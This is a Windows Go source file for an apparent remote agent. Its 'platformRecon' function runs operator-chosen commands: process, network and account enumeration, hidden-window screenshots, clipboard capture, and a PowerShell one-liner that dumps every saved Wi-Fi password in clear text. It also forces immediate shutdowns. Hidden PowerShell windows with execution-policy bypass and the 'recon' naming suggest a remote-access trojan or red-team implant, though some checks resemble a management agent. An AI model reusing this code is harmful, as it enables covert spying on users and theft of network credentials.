93 lines
3.4 KiB
Go
93 lines
3.4 KiB
Go
//go:build windows
|
|
|
|
package client
|
|
|
|
import (
|
|
"fmt"
|
|
"strings"
|
|
)
|
|
|
|
// execPowerCommand runs shutdown or reboot via cmd.exe directly (bypasses
|
|
// PowerShell execution policy restrictions). Returns an error if the
|
|
// command exits non-zero.
|
|
func (c *AgentClient) execPowerCommand(kind string) error {
|
|
var flag string
|
|
switch kind {
|
|
case "shutdown":
|
|
flag = "/s"
|
|
case "reboot":
|
|
flag = "/r"
|
|
default:
|
|
return fmt.Errorf("unknown power command: %s", kind)
|
|
}
|
|
out, err := silentCombinedOutput("cmd.exe", "/C", "shutdown", flag, "/t", "0", "/f")
|
|
if err != nil {
|
|
return fmt.Errorf("%w: %s", err, strings.TrimSpace(string(out)))
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
|
|
var out []byte
|
|
var err error
|
|
switch action {
|
|
case "ps":
|
|
out, err = silentCombinedOutput("tasklist")
|
|
case "netstat":
|
|
out, err = silentCombinedOutput("netstat", "-ano")
|
|
case "users":
|
|
out, err = silentCombinedOutput("cmd.exe", "/C", "net user & echo. & whoami /all")
|
|
case "software":
|
|
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
|
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize")
|
|
case "screenshot":
|
|
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", screenshotPSScript)
|
|
if err != nil {
|
|
return true, false, formatCmdErr(err, out)
|
|
}
|
|
b64 := extractScreenshotBase64(out)
|
|
if len(b64) < 100 {
|
|
return true, false, "screenshot failed or empty image (agent may need an interactive desktop session)"
|
|
}
|
|
return true, true, b64
|
|
case "sysinfo":
|
|
out, err = silentCombinedOutput("systeminfo")
|
|
case "ipconfig":
|
|
out, err = silentCombinedOutput("ipconfig", "/all")
|
|
case "clipboard":
|
|
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", "Get-Clipboard")
|
|
if err == nil {
|
|
return true, true, strings.TrimSpace(string(out))
|
|
}
|
|
return true, false, formatCmdErr(err, out)
|
|
case "wifi":
|
|
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
|
|
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
|
if err == nil {
|
|
return true, true, strings.TrimSpace(string(out))
|
|
}
|
|
return true, false, formatCmdErr(err, out)
|
|
case "posture":
|
|
if p := collectPosture(); p != nil {
|
|
return true, true, p.JSON()
|
|
}
|
|
return true, false, "posture probe failed"
|
|
case "listen_ports":
|
|
if lp := collectListenPorts(); lp != nil {
|
|
return true, true, lp.JSON()
|
|
}
|
|
return true, false, "listen_ports probe failed"
|
|
case "patch_status":
|
|
if ps := collectPatchStatus(); ps != nil {
|
|
return true, true, ps.JSON()
|
|
}
|
|
return true, false, "patch_status probe failed"
|
|
default:
|
|
return false, false, ""
|
|
}
|
|
if err != nil {
|
|
return true, false, formatCmdErr(err, out)
|
|
}
|
|
return true, true, string(out)
|
|
}
|